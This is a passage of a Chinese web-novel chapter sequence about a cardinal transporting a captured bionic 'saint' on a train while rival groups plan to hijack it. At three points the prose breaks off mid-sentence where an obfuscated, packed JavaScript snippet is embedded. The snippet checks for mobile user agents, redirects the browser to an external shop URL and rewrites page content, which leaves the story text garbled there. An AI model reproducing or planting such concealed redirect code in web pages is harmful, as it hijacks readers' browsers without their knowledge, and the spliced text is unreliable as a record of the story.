“战争的结果早已经注定了。米卡没有真正意义上消灭我们的能力,他们现在也恐慌地很。从这次进攻就看出来了。现有局面下,他们虽然能在战场上取得优势,但也拿不下卡比利亚。而枢机团改选,意见转向之后,旧科技回收派再次占据主流意见,我们再出示圣女的研究成果,米卡也就不再是什么问题。” 紫袍骑士充满敬意地说:“大人英明。卑职这就去通知他们开始布置。” 他打开车厢门,吆喝一声,几名穿着白衣的研究员便抬着大大小小的箱子走进车厢。 一个研究员在周向青所在的玻璃缸上安上一系列的装置,上面闪着红灯绿灯,似乎是用来扫描什么。而另一个把一些带有吸盘的小元件倒进玻璃缸内,那些小元件就像章鱼一样游向周向青,并且在她身上提取样本,并做上标记。其它人大概也是在做类似的事情,大概就是利用这段时间试图从她身上多获得一些信息。 “怎么样,一旦爆炸之后,还能回收多少?”枢机主讲问道。 “这个很难说。汋河这时候水量不算太多,流速并不快,如果迅速打捞回收,或许还能回收个四五成左右。虽然不保证能够回收头部,但我已经尝试安装了定位器。希望爆炸不会让它失效吧。” “真是可惜。”枢机主讲说道。“如果当年不是旧科技派失势,把回收权卖给了学院,或许我们早就发现类似的现象了。” “大人说的没错。不过,或许我们境内还有没有发掘的遗迹。这类仿生人在上时代大量生产过,所以我们肯定还有机会。”紫袍骑士说。 “是。肯定还有机会。总能找到一个完好无损的。”枢机主讲似乎在安抚自己一样,慢慢说道。 此时车门处传来了敲门声。 “怎么了?”紫袍骑士开门问道。 敲门的骑士低声说:“队长,有个人来找我们,说列车上现在有人准备劫持圣女……” “说什么鬼话,让他快滚!”队长沉声呵斥。“还有,有大人在的时候,大声说话!” “是!可是,他穿着机师的袍子,看上去就像是今天早上会上那个人。而且他自己也说,他是上午那个人,叫赛德什么的。” 枢机主讲听到了他们的话。他望向已经被封在玻璃柜中的周向青,然后问道:“那个赛德在哪?” “他现在就在特等车厢里。我们让他先等着。” “大人,怎么办?”骑士队长问道。 枢机主讲沉吟不语。他原本以为那些人都留在卡比利亚的迎宾馆,结果没想到赛德不知是通过什么渠道,溜到了火车上。但如果赛德是在卡比利亚上的车,为什么现在才来找他?再怎么说,找过来也用不了一个多小时。赛德是个狂热的圣女拥护者,所以,若不是在打什么主意,必然不会拖延这么久。 “我去见他。”枢机主讲说。 “啊?大人,这——” “当然,我不是让他来这边。是我去特等车厢那边见他。我想听听他这回说什么。还有,你们也要做好最坏的打算。我记得他应该还有一个同伙……他是一个人来的,还是两个人?” “只有他一个。” “肯定有什么阴谋。他的那个同伙是个有点意思的家伙。之前在剧院,还偷偷跑到我的包厢来。”说到这里,枢机主讲斜睨了骑士队长一眼。 骑士队长冷汗淋漓,低头道:“是卑职护卫不周。” 枢机主讲哼了一声。“所以这次,你就守在这个车厢里吧。虽然他不太可能从外面爬进来,但也以防万一。” “是。卑职明白。”骑士队长卖力地鞠了一躬。 枢机主讲走向特等车厢。特等车厢里装满了他这次从卡比利亚带回石岗城的东西,有朱启儒的背景调查,有涉及程光颐那次行动的文书档案复印件,有预定拿到石岗城展出的藏品,以及最后一批研究成果及样本——只是其中一套样本正穿在周向青身上。 赛德正惴惴不安地坐在特等车厢入口的地方,有一个骑士在面对面地盯着他。看到枢机主讲走了过来,赛德先是一怔,然后赶忙站起来鞠躬。 “枢机主讲大人。” “免了。你怎么跑到这趟车上来了?” “这个……我是因为想再跟您聊聊圣女殿下的事情,听说您已经提前跟圣女一同离开,就赶忙赶到了火车站。但是把守的卫兵并不让我跟您对话,所以我只好也买票上了车。然而就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“不,不用了。如果他们是在宜源动手,那根本无所谓。让他们等到宜源好了。如果他们等得到。”枢机主讲说到这里,不由得笑了几声。 赛德闻言一愣,不知道枢机主讲是什么意思。 枢机主讲随后也意识到自己多说了不该说的话,便打岔道:“赛德,你那个同伴真的没有来?” “没有。” “那你不是有话要跟我说?现在就说吧。” “是。”赛德清了清喉咙,定了定神,才开口道:“枢机主讲大人,我明白您大概是想为石岗城的枢机团引荐圣女,毕竟他们没有亲眼见证这次的神迹,仍然可能一时无法接受这个冲击性的事实。但我斗胆想请您在召见完圣女殿下之后,能够让她回到卡比利亚。虽然我毫不怀疑,圣女能为我们的三元一体研究做出贡献,让真正的平等更快降临到每一个人身边,但卡比利亚与圣女的形象早密不可分,而且卡比利亚作为陪都,也有能力完成这样的研究。圣女留在卡比利亚,除了有助于巩固人们的信仰之外,我们还普遍期待着,有朝一日能在圣女的领导下收复失地,甚至能够让统修会的三角旗帜飘扬在初代圣座当年悟道的五龙原。所以,我期盼您能允许圣女殿下在巡游之后,回到卡比利亚,至少能让她在那里驻留一段时间……” “我答应你。”枢机主讲程光颢亲切地打断了赛德的话。“我答应你的所有请求。” “真……真的?” “当然是真的。我觉得,你甚至应该跟我们一起到石岗城去,跟枢机团介绍一下你对圣女的理解。我觉得你可以全程陪同。本来我是打算邀请你的,但时间紧迫,我就忘记这件事了。不过正好,你既然来了,也算是运气。” 枢机主讲把手放上赛德的脊背,轻轻拍了拍,然后对自己身后的骑士使了个颜色。“你先带他过去。告诉齐队长,像招待圣女一样,招待我们的这位客人。茶叶点心,一点都不能少。” “是。”骑士敬了个礼,拉着赛德向枢机主讲的车厢走去。 枢机主讲又对刚才插话的骑士说:“你去看看,他说的那些有多少是真的。” 49.启明号列车07 列车还有二十分钟到云阳的时候。从3号车厢到餐车的车门吱呀一声开了。一个穿长裙的男人匆匆走到姜原的桌边,盯着姜原问: “这是谁?” “是关老大一时兴起招来的家伙。”郑小楼答道。 “哦。你跟我来,我们去换一下。” “你急什么?离下车还早,你就这样突然跑过来,也不怕怀疑吗?” “快点。”那穿长裙的男人并不解释,匆匆向另一侧的二等车厢走去。 “那家伙怎么回事?”姜原问。 “他就是王西凤。我去换下衣服。”郑小楼也没有多做解释,而是直接跟着王西凤离开了,只把姜原留在原地。 没想到这些人还真有点意思。一个女孩穿成男装,一个男人却又穿成女装,搞得跟上时代唱戏的人一样,唯一的缺点大概就只是不唱戏。话说,他昨天见到枢机主讲,还是在大剧院。 或许这个地方的人就很喜欢看上时代的表演吧。 姜原慢慢地喝着饮料,等郑小楼和王西凤回来。但一个穿黑衣的高大男人在此时从3号车厢走进餐车。那男人的眼中虽然有一股利刃出鞘般的杀气,但头上却戴着一对黑色的猫耳装饰。 那黑猫在餐车中扫视了一圈,似乎没找到要找的人;然后考虑了一下,慢慢走到了姜原身边。 “您好。”黑猫打招呼。 姜原假装之前并没有留意他。“你好啊,有什么事吗?” “请问,您有没有看到一个穿长裙的……乘客走过?” “哎呀,抱歉。刚才光顾着发呆来着,没注意。” 黑猫点了点头,却又不离开,只是继续问道:“那您的同伴去哪里了?饮料都还没喝完,是有什么急事吗?” “他也没说,大概是肚子疼,上厕所了吧。”姜原答道。 黑猫望了望前往二等车厢的连接门。餐车里并没有厕所,要去厕所只能去两边的车厢。 “好的,多谢。”黑猫转身向二等车厢的厕所走去。 姜原一把抓住了他的手腕。 “喂,过分了吧。你还想偷看人上厕所吗?” “哪里,”黑猫不紧不慢地说,“我只是突然也内急而已。” 姜原没有放手,而黑猫也没有什么动作。二人就僵持在原地。 周围的乘客已经向他们投来好奇的目光。 在姜原在心里抱怨郑小楼怎么还不回来的时候,一个穿着皱巴巴商务套装的邋遢男人一屁股坐在姜原的对面,呼噜噜地把杯中的饮料吸了个干净。 “哎呀!舒服、舒服。真通畅!嗬!通畅之后再来一口,真是人生享受!”那人又感叹道。还没等姜原和黑猫反应过来,那人又砰地一声,把一本厚厚的、沾满油渍的书扔在桌上。 “对不起啊,坐在厕所里看书,一时把时间都给忘了。” 书的标题是《人类、机械与精神世界,统合研修会成立史》。 姜原看了黑猫一眼,松开了手。但他不认识眼前的这个戴黑框眼镜的男人。黑猫一时摸不着头脑,也没有再坚持要去厕所查看。两人都望着这个不速之客,等着对方先做反应。 那人却真的自顾自说了起来:“对了,回到我们之前的话题。林家兄弟已经回院里了。他们貌似还挺喜欢你,还让我给你带句话呢。‘别动歪脑筋,快点把东西交回去’。差不多就是这个意思。” 姜原这下就明白了对方的身份。原来也是学院的人。 “知道了。如果你最近还会跟他们见面的话,就替我说,我身不由己,可能还得耽搁几天。不过,你跟那两小只怎么认识的?难不成他们本来要干的活,现在都归你干了?” “他们是有这个意思,但——我也有自己的事,也不好说最后会怎样。所以只是看着办吧。” 看到姜原和油头眼镜男旁若无人地说起话来,黑猫不知自己的判断是不是又出了问题,一时无法进退。 然而此时,他身后响起一个他最熟悉不过的声音。 “黑——猫——你——怎么又跑了呢?” 黑猫的耳朵耷拉了下来。“大小姐。” 玉明珑走过来,看了看姜原和眼镜男,尾巴尖不耐烦地甩了甩。“我跟你说了,你不要这么紧张啦。平时坐那么多次都没有事,为什么这次偏偏会有事?” “是。”黑猫低头道。 “哦!这东西倒是没见过!该不会是新产品?你们也是统修会的人吗?” 眼镜男看到玉明珑的龙尾,露出一副惊喜交加的表情凑上前去,口中啧啧有声。“有意思。乍看之下,跟普通的机械手没有什么区别,实际上不一样。放弃了可伸缩仿生机械爪模仿昆虫腿部的传统结构,也就用不着气液泵填充外壳,也不用卷扬机代替横纹肌了。上时代的古董结构简单到丑陋,而这类活化机械的衍生物却有一种生物般的繁复美感。让人着迷。用活化机械培养出模仿人类的组织,光是植物神经这一块,就不好搞定吧。你们用的是什么方法?反正肯定不是脑机接口那一套上层意识的把戏。” 姜原不知对方那段话是不是有意拿他来作比较,但他觉得不像。他接茬道:“但活化机械已经算是另外一种生物了。你不能把它和人类的工具相比。工具是从需求中来的,为专门的目的而设计,没有自主性。活化机械的‘功能’,则是服务于自身的生存,与工具追求的‘单一但高效’是相悖的。最简单的道理,机械爪的脑机接口虽然使用起来复杂,但设计上却简单节能。但为了驱动这条尾巴,即便不算人类神经信号与活化机械之间的传输延迟,这位姑娘少说也得多吃两顿饭,才能把这个能量补回来吧。” 玉大小姐闻言,瞪圆了眼睛。“你、你、你说什么?” 姜原意识到自己失言,但还是嘴硬道:“我不该随便评价淑女的饭量,但事实如此。” 玉大小姐涨红了脸。龙尾唰的一甩,向姜原脸上抽去。黑猫急忙伸手一把抄住尾稍,才算是没有击中姜原的嘴巴。 “黑猫!你放手!” “大小姐,算了吧。” “你给我放手!” 眼镜男似乎没看到眼前的骚动,只是出神地盯着那条龙尾喋喋不休。“嗯,你说的有道理。但如果可以的话,我真的想看看它是怎么跟神经系统相连接的。不管怎么说,脑机接口的使用逻辑不过是编码之间的转换,而用活化机械去模拟人类没有的身体器官,则是一种崭新的概念。” 由于黑猫一直不放手,玉明珑猛地一扭身子,滑溜溜的尾稍从黑猫的手中挣脱出来,反倒撞上了眼镜男的脸。他的黑框眼镜重重挨了一下,掉在地上。 “啊!抱歉!”黑猫急忙捡起眼镜,但眼镜腿已经歪掉了。 玉明珑一怔,骂道:“谁让他在那里唧唧歪歪!” 她骂完,扭头便走。 黑猫还在犹豫,眼镜男已从他手中取过眼镜,歪歪斜斜地戴在脸上,说:“没事啦!反正还看得见。” 黑猫掏出一枚印着圣座头像的金币放在桌面上,然后追着大小姐去了。 他在返回3号车厢的时候,看到紫袍的影子在前面一闪。他一时有点疑心,但安抚大小姐的心情永远是他的第一要务。 ### 紫袍骑士径直回到特等车厢。枢机主讲还在那里等他。 “我刚才去看了情况。一个大块头男人,一个小姑娘,一个蓬头垢面的学者模样的人,还有昨天晚上来您包厢的那个人,他们刚才聚在餐车谈话,不知道在谈什么,但似乎起了一点冲突。为了不惹他们起疑,我就回来了。” 枢机主讲点了点头。“车马上就到云阳了。你们把这个门守好,但如果玉家的人过来,放他们进来。其他人不准进。” 紫袍骑士点头答应,退回门外去了。 枢机主讲掉头向自己的车厢走去。他没想到对方的反应竟然如此之快,也跟着自己上了车。难道赛德说的是真话? 但对方这十多个人究竟是从哪里冒出来的? 大概就是玉家。他们不是也自己展露身份了不是吗? 只不过,玉家虽然是十大姓中支持新科技派的一方,但在十几年前就为了研究圣女草直接迁出了石岗城,相当于已经放弃了自己的政治影响力。程光颢不觉得玉家会选择在这个时候参与到圣座选举中来。 如果说真的圣座选举对玉家有什么影响,那大概也就是研究院的资金和技术支持会有所变更。但单就这一点,仍然不能解释他们为什么会参与政治冒险。 但他记得玉家的媳妇姓刘。 这似乎还说得通。刘光磊虽然是个无能之辈,但好歹也是卡比利亚内务部的主操。而他老子刘正勋也是新科技派的重臣。哼。也并不是没有联系。 只是他仍旧不太相信玉家会突然转了性子。但不管怎么样,没有人可以真的回避政治。如果你不找政治,政治就会来找你。 他应该稍稍改动一下自己的计划。 枢机主讲推门进入自己的车厢。 赛德已经被齐队长绑了个结结实实,扔在地上;他一双眼惊恐地望着封在玻璃柜中的周向青,然后又满怀怨念地转向枢机主讲。 程光颢看了一眼赛德。他还不确定到底怎么处理这个乡下的呆子。不知怎的,赛德总是让他想起那年主动提出去山里寻找自己弟弟的那个孩子。 那孩子叫什么来着? “大人。”齐队长鞠躬道。“接下来怎么办?” “你到车头去告诉他们,云阳站不要停车,一直开过去。然后联系车站,说歹徒劫持了人质,车上有炸弹,让他们不得拦截列车。歹徒的身份尚不明确。” “是。”齐队长点头道。 枢机主讲想了想,又说:“还有,如果他们真的有什么打算,我们一行动,他们说不定会尝试强攻。计划不变,做好战斗准备。” 齐队长鞠了一躬,向车头走去,一面给他的部下下令。研究员们仍然围着柜子在做测试。他们还有大概一个小时。 对了,他叫小松。 他想起来了。 枢机主讲程光颢看着赛德的眼睛。 小松意识到没有人回来找他的时候,会不会就是这样的眼神? ### 看着黑猫和那大小姐离开,姜原身子前倾,低声问面前的眼镜男:“你到底是谁?是来干嘛的?” 但眼镜男的心思却不在姜原这边,他自言自语道:“我总是不太能理解,统修会这个莫名其妙的组织,居然在技术方面还有如此可取之处。能够亲手把玩一下倒是也不坏。但现在把它搞到手的话,也就延误了它改进的机会,未免可惜。但是林家兄弟的事情又不能没有人做,这应该算是其中一个环节吗?虽然并不包括在简报里面。欸,你觉得呢?”这句话却是在问姜原的。 姜原叹了口气。“我觉得什么?是我先问的你。” “你问我什么?” “我问你是谁,来干什么……好吧,其实也用不上问。只要你的目标不是我,那我还是希望……” “对了。你要不要帮我个忙?” “啊?” “你看,我挺在意那条尾巴的,想跟过去看看。但是我还答应接手林家兄弟的任务。所以,要不你给接过去?” 姜原再次叹了口气。“为什么今天老是有人让我干些莫名其妙的事呢?” “你怎么说?”眼镜男问。 “我就算了。我还有自己的事。”姜原答道。 “跟你一起的那个仿生人?哦,枢机主讲急匆匆回首都去,是她的缘故。但你呢,怎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17128631|195405||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么,你指望通过她找到弗莱的遗产?” 姜原一愣,但他随后意识到,大概是林家兄弟给他说了周向青的事情,但他也同时佩服眼镜男思维之快。他答道:“我并不是图谋那点遗产……不过也差不多吧,我有一些问题的答案,想从弗莱那里找到。” 眼镜男摇了摇头。“问题问别人是没有用的。而考古更没有前途。人一定要独自不断前进,才不会窒息而死。就像鲨鱼一样。你懂吧?”眼镜男举起一只手,做出鲨鱼大嘴一张一合的姿势。 姜原没有回答,只是看着桌子上那本《人类、机械与精神世界,统合研修会成立史》。 眼镜男看了看那本书,也意识到自己话中自相矛盾之处,又说:“我看这个只是想搞明白这些人到底在想什么而已。不弄清楚这个,在这块地上我总觉得浑身不舒服,就像回到过去了一样。” “的确是有点就像演戏一样的感觉。”姜原答道。“但米卡那边不也是……” 姜原的话才说了一半就停住了。因为车厢里的其它乘客纷纷站起,望向窗外。 “怎么回事?” “这都已经进城了,居然不减速?” 乘客们七嘴八舌地说。 姜原也跟着向窗外看去。火车此时已经到了城市附近,但完全没有任何减速的迹象。一排排的建筑由远及近,然后飞快地向后退去。长长的站台不久便进入视野,穿蓝黑色制服的铁路人员正在把乘客们赶到安全线后。“云阳站”的牌子就在人群的上方一闪而过,整个站台也在一瞬间被抛在身后。城市的风景不久后便又消失不见,换回了似乎无穷无尽的乡野与远处的山峦。 餐车内的喇叭突然响了:“现在通报一则消息。由于特殊原因,本次列车不在云阳站、新竹站停靠。原定于在此两站下车的乘客,请改为在石岗站下车,并凭本次车车票转乘相应的车次。” 喇叭说完,又重复了两遍。 乘客们一时不知所措。有的人站在原地,和邻座的人大声议论起来;有的人则匆匆离开餐车,向自己原来的车厢走去。 “这什么情况?”一个人问。“先是把特等座降等,现在又不停车!” “无所谓,反正我也是石岗下。” “无所谓?刚刚还在卡比利亚打过仗,你说无所谓?你知道现在什么情况?说不定是公司的佣兵混上了车!” “话说,刚才我就觉得那两个人有点不对劲了。刚才不是有个大汉问他什么事情吗?没准他们就是——” “嘘,别看他们。” “不对劲啊。特殊原因是什么情况?”姜原说。 眼镜男倒是一副无所谓的样子。“谁知道呢,说不定是这辆车上的不速之客有点太多了?哈哈哈哈。不过,既然你没有合作的意思,那我们就各奔前程吧。祝你好运。”眼镜男站起来,向3号车厢走去。 姜原看到桌上的书,道:“喂,书忘拿了。” “送给你啦。”眼镜男摆了摆手,消失在3号车厢的门后。 姜原看着那本书上比手掌还大的油渍,皱了皱眉。他才不要这种东西。他捡起书旁边那枚黑猫的金币,拿在指尖把玩。所谓的不速之客——他眼镜男自己根本就也是不速之客吧。而且,眼镜男知道“四大恶人”吗?难不成是卫队们发现了他们在车厢里布下的装置,或者是赛德——他一路走到这里都没看到赛德,的确有点不太对头。有可能是赛德自作主张,然后惹出了什么乱子。 想到这里,姜原手指一弹,同时站起身。金币翻滚着高高飞起,随后落入他的口袋。他拍了拍口袋。就当这是给他的精神损失费吧。 但此时郑小楼从后面匆匆走了过来。 “喂,汤玉茗。” 姜原早忘了“汤玉茗”是他刚才给自己取的新名字。他仍然向前走去,并没意识到那是在叫他,直到被郑小楼扯住袖子。 郑小楼换上了王西凤的衣服——他们两个身高差不多——而王西凤就站在她后面。她换上女装后,给姜原的感觉倒是没什么变化。而王西凤看上去算是正常多了。 “车没有在云阳停。原定的计划没法用了。”郑小楼说。 “他们肯定怀疑我们了。说不定到石岗的时候就有一支部队等着我们。我们必须趁这时候动手。刚才那家伙跟你说了什么?”王西凤说。 “你说哪个家伙?” “黑猫,就那个戴着猫耳朵的怪胎。呸。他比起猫,倒是更像条狗。玉老头看不起我也就罢了,他有什么资格……哼,这个仇我一定要报。” “哦,你们的目标就是他啊。他想知道你们去了哪里,没问出来就走了。”姜原说。 “那另一个人呢?”郑小楼问。 “那是我以前部门里的人,也来这里出公差。我们没什么交情,只是脸熟,偶然在车上看到了打个招呼。所以,现在是什么情况?” “关老大让你在停车以后,用机械爪从车顶爬过去,控制车头的驾驶室,然后等待下一步命令。”郑小楼低声说。 姜原有点惊讶:“让我一个新来的,干这么重要的事情?” 郑小楼点了点头。“关老大就是这样的性格。” 姜原并不相信这种话。至少如果让他安排劫车计划,去车头控制驾驶室的人必须是他最信任的部下。 但这个安排正合他的意。驾驶室是距离枢机主讲车厢最近的地方。 “什么时候开始行动?”姜原问。 “关老大下命令的时候。” “他什么时候下令?” “车停了,就是下令了。”郑小楼说。“所以,你最好找个地方坐下。随时都有可能开始。” “好吧。”姜原向3号车厢走去。他至少得跟让娜说一声。至于其他人,就看他们的造化了。 50.启明号列车08 “现在通报一则消息。由于特殊原因,本次列车不在云阳站、新竹站停靠。原定于在此两站下车的乘客,请改为在石岗站下车,并凭本次车车票转乘相应的车次。” 还没有等那三遍通知播报完毕,一批乘客就已经涌向二等车最后一节车厢列车员的小房间,七嘴八舌地问他到底出了什么事情。列车员捋了捋翘起的小胡子,表示自己也不知道到底是怎么回事。但乘客们还是坚持要一个答复。列车员站起来,前后甩着双手,像是赶羊一样,企图赶开挤过来的人群。 但在他想要关上自己房间小门的时候,他在嘈杂的人声中听到两声金属撞击的铛铛巨响。他面前的人群大概也听到了同样的声音,一下子安静下来,都望向声音的来源——货车车厢与二等车厢之间厚重的隔离门。 “喂!你快去看看到底是怎么回事!”一个乘客喊道。 列车员有点恼火。明明门上有小窗子,你不会自己看吗?但他虽然心里这么想想,嘴上却不敢说出来,只是从腰间解下钥匙,挤开人群,走向车厢后面的铁门。 但就在他正要把钥匙插进自己这边的车厢门时,听到了一声巨响。 那是对面车厢门倒下的声音。 戴着蓝色花脸面具的人用气割切断了铰链和门闩,一脚把车厢门踹倒在地上,提着气瓶,大步向他这边的车门走来。 “你……你是谁?”列车员隔着玻璃窗问道。 但对方听不到他在说什么。 那蓝面具只是用钢气瓶狠狠砸上他面前的强化玻璃窗。 玻璃只是震了一下。 戴蓝面具的人再次举起气瓶。 列车员不由得向后退了一步。他身后的乘客们则尖叫着,与后面不知情况的人群撞在一起。 气瓶又一次落下。玻璃上现出几道裂纹。 蓝色面具人后面又出现了一张脸。那是一张黑色的花脸面具。黑面具用一柄尖尖的锤子在车窗上一凿,整块玻璃一下子就裂出了无数条网状的纹路,那两个人的面具则变成了蓝蓝黑黑的影子。 砰。 气瓶第三次落了下来,把玻璃窗变成了一道水晶的瀑布。玻璃颗粒从列车员的面前倾泻而下。气瓶圆圆的瓶底缩了回去,换成了一张蓝色打底,画着红白黑瓦状花纹的脸谱面具。 “喂,开门。”蓝面具说。 列车员瞪大了眼睛,握着钥匙,一动也动不了。 “真是的。”对方拧了拧气瓶阀门,喷嘴马上喷出火焰。火焰在仅剩金属网的车窗上划过,割开一个并不圆的圆洞。一只手穿过圆洞伸过来,夺过他手中的钥匙,插在钥匙孔内,打开了车门。 “喂!你傻了?”蓝面具把钥匙塞回他的手里。 “啊,啊?”他在恍惚间答道。 “看来是真的吓傻了。”黑面具说。“我去把东西拿过来。”黑面具说完,跟一个脸上戴着青色方面巾的人点点头,返回货车车厢去了。 戴青面巾的人凑到列车员身前,伸出一根手指晃了晃,然后又翻开他的眼皮。“不碍事。” “你管他碍不碍事干什么。”蓝面具说。 “我们又不伤他性命,当然希望他身体也能健康。” “好吧好吧。”蓝面具把气瓶装回背上的背包。“喂,快点!” 黑面具拎着一个大包来了。他从包里抽出两个花花绿绿的盒子,从里面掏出两支突击步枪,扔向蓝面具。蓝面具双手接过,对着列车员说:“现在你可以关门了。” 此时车厢内已经只剩他们四个人。 蓝面具看到空荡荡的座椅,想了想,又说:“你先别锁门。”然后他钻进列车员的小房间,拿起话筒,说:“无座票的听好了!呆会我们要让车停下来,你们赶快给我到前面来,随便找个地方坐好!如果不安生乱跑,后果自负!我只说一遍。” 蓝面具说完,把话筒往桌上一丢,对列车员说:“等他们都来了再锁门。” “你还真事多。”黑面具说道。 “要你管。”蓝面具挺着两支步枪,大步走向下一个车厢,踢开车厢门,大声喊道:“你们这些狗东西听好了,如果不想死的话,乖乖回到自己的座位上!” ### 姜原也是在同一时间,推开了3号车厢的门。 一等车厢也因为刚才的广播陷入了混乱。人们离开了座位,吵吵嚷嚷,议论纷纷。而让娜正一个人蜷缩在座椅上,紧紧把胖球抱在怀里。 姜原叹了口气。他有些后悔当时得意忘形,让她跟了过来。他本来还以为枢机主讲只想把“圣女”带上京城展览而已,但如今事态的演变让他意识到情况并非那么简单。他轻轻坐在让娜身边,然后拍了拍她的小脑袋。 让娜抬头看着姜原,问:“大姐姐呢?赛德机师还没有回来。” “我还没看到她。赛德还没有回来?” “他刚才说要去前面看看,但到现在了都没有回来。而且刚才的广播,广播又不说出了什么事情……我想下车。” “下车啊。过一会吧。过一会,说不定就能下车了,”姜原一边说,一边摸了摸让娜的头顶,“但是,停车前会有很厉害很厉害地往前冲的感觉,所以你千万坐在这里别动哦。要紧紧地抱住椅子。” “那你呢?” “我去找他们。”姜原答道。他想给让娜安排一个万一的去处,但仓促间想不到任何办法。只好说:“我马上就回来。” “嗯。”让娜点了点头。 姜原能看出,她马上就要哭出来了。在这辆疾驰的列车上,她的压力比昨晚的情况要大得多。昨晚虽然也有不断的炮击,但一直有认识的人陪着她。而现在,她周围没有一个认识的人。 姜原又轻轻摸了摸让娜的脑袋,然后离开了座位。 黑猫那高大的身板就规规矩矩地坐在他前面的椅子上,只是头顶的耳朵跟着他的脚步不断转动。姜原不免觉得有些好笑。 “你们这边是什么情况?”姜原问道。 “大家的情绪有些紧张。不少人去前面问到底发生了什么事,但都被门口的骑士挡了回来。”黑猫答道。 “所以你就忠心耿耿地坐在这里,护着你的主人吗?”姜原调侃道。 “是啊!黑猫!你刚才看到一个女装变态就一惊一乍的,到现在真的出事了,反倒一个屁放不出来!你快去问问到底怎么了啊!”黑猫旁边的玉明珑用脚蹬着黑猫的屁股,但黑猫只是纹丝不动地坐在那里,稳如泰山。 “大小姐,我相信近卫骑士足以处理跟列车相关的突发事件。而且越在这种时候,越要提防有人浑水摸鱼,威胁您的安全。而且老太爷说了,务必要把……” “你能不能不要提他?我听着烦!” “是。” 姜原不禁莞尔。不过,这也意味着他可以一定程度上信任这个人。变故就在眼前,各方都蠢蠢欲动,而那个眼镜男正准备浑水摸鱼。 姜原说:“既然这样,我拜托你一个事。你们后面那个小姑娘,她也是卡比利亚附近村里的人,因为一些原因跟我一起上了车。但现在情况这么不乐观,所以,如果今天的情况不太好……而且你方便的话,能不能替我送她回家去?” 黑猫盯着姜原的眼睛看了一会,然后回头看了让娜一眼。“原来是她啊。” “你们认识?” “刚上车的时候,她跟大小姐玩了一会儿,算是有眼缘。” “那,怎么说?” “如果方便的话,毕竟大小姐的安危是首要的,而且我们还要送——” “我答应了。”玉明珑说。“虽然我根本不在乎你这个无礼的家伙是死是活。但她的话,可以。” “多谢。”姜原点点头,向2号车厢走去。 让娜看着姜原的身影消失在车厢门后,心中不安定的感觉越来越强烈。她想要跟过去看看。但是,刚才姜原说过,会有股很强的向前冲的力量。虽然她不知道那是什么意思,但她也明白姜原并不想让她跟过去。 但她实在想知道到底出了什么事情。 此时她听到玉明珑说:“喂,黑猫,你也过去看看。” “您又说这种话——” “跟之前不一样!之前是我心里面有点怪怪的,现在是我真的有了证据。” “什么证据?” “之前那个穿着白色袍子的家伙,不是一去就没有回来吗?而那个穿大衣的家伙,是要去找他吧?” “您说的没错,但——” “你闭上嘴好好听。这就说明,这车上的确有问题。但问题不在后面,也不在你之前吓唬的那个穿女装的大变态,而在那些挤占了特等座车厢的人。” “那可是枢机主讲大人啊,小姐。您总该知道——” “我当然知道。但敌人难道不就是为了你那枢机什么的,才过来的嘛。所以你更应该去问问他们知道什么消息。反正只是问问,又没什么损失不是吗?” “但您——” “没关系的,你快去快回。而且刚才你盯上的那些家伙也没回来不是吗?用不了多长时间的。” 黑猫叹了口气。不过,他也注意到,前面车厢的人吵嚷声变得更大了。他从座位上站起来,走了几步,又回头看了一眼,玉明珑给他做了个“快走”的手势。 黑猫只好耷拉着耳朵去推车门。 2号车厢里挤了不少人,他们围成一个厚厚的大圈,对那三个披紫袍的近卫骑士叫骂,只是没有人敢靠近骑士们剑刃的范围内。三个骑士一言不发地看着他们面前的人群,手按剑柄,一副随时准备拔剑出手的样子。 但姜原知道那并不可能。车厢并不算特别宽,一个人挥剑就足以防御他面前大约三米宽的区域。三个人并排站着,那么无论是谁都施展不开。而骑士们这么站着,说明他们根本不担心有人可能从人群中发起攻击。某种程度上说,可能事态并没有不能停车那么严重。 他在人群中搜索,但没有找到赛德的白色长袍。柳怀石也不在这里。不知道那个家伙跑到哪里去了。 姜原挤过人群,走向那三个紫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17132098|195405||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 袍骑士。 “你们好。” 骑士们一言不发。 “我跟他们不一样。我不是来问现在情况的。我只想知道,刚才有没有一个统修会的机师通过你们,去前面的车厢?” 骑士们并不回答。 “我看到了!”人群中突然有人高喊。“我看到了!过了水安不久,就有一个穿白袍的家伙跟他们说话,然后他们就把那家伙放过去了!” 骑士们继续一言不发。 “还有这么个人?” “这么一说好像是有这么回事。” “请枢机主讲大人来解释一下吧!要不然我们担心!” 人们喊叫起来。 姜原并没有附和那些人。既然知道赛德去了前面的车厢,他大概可以猜到到底发生了什么。十有八九就是赛德挥舞着那一套圣女理论跑进去,冒犯了枢机主讲,然后被狠狠收拾了一顿。不过,他倒是不担心。毕竟赛德再怎么说,也是他们自己人。 他只要等着“四大恶人”停下火车,然后去车头就好。 如果停车,挤在这里的旅客势必会有危险。但他们情绪十分激动,也未必会听自己的话,如果自己强行出头,说不定还会引起骑士们的警惕。 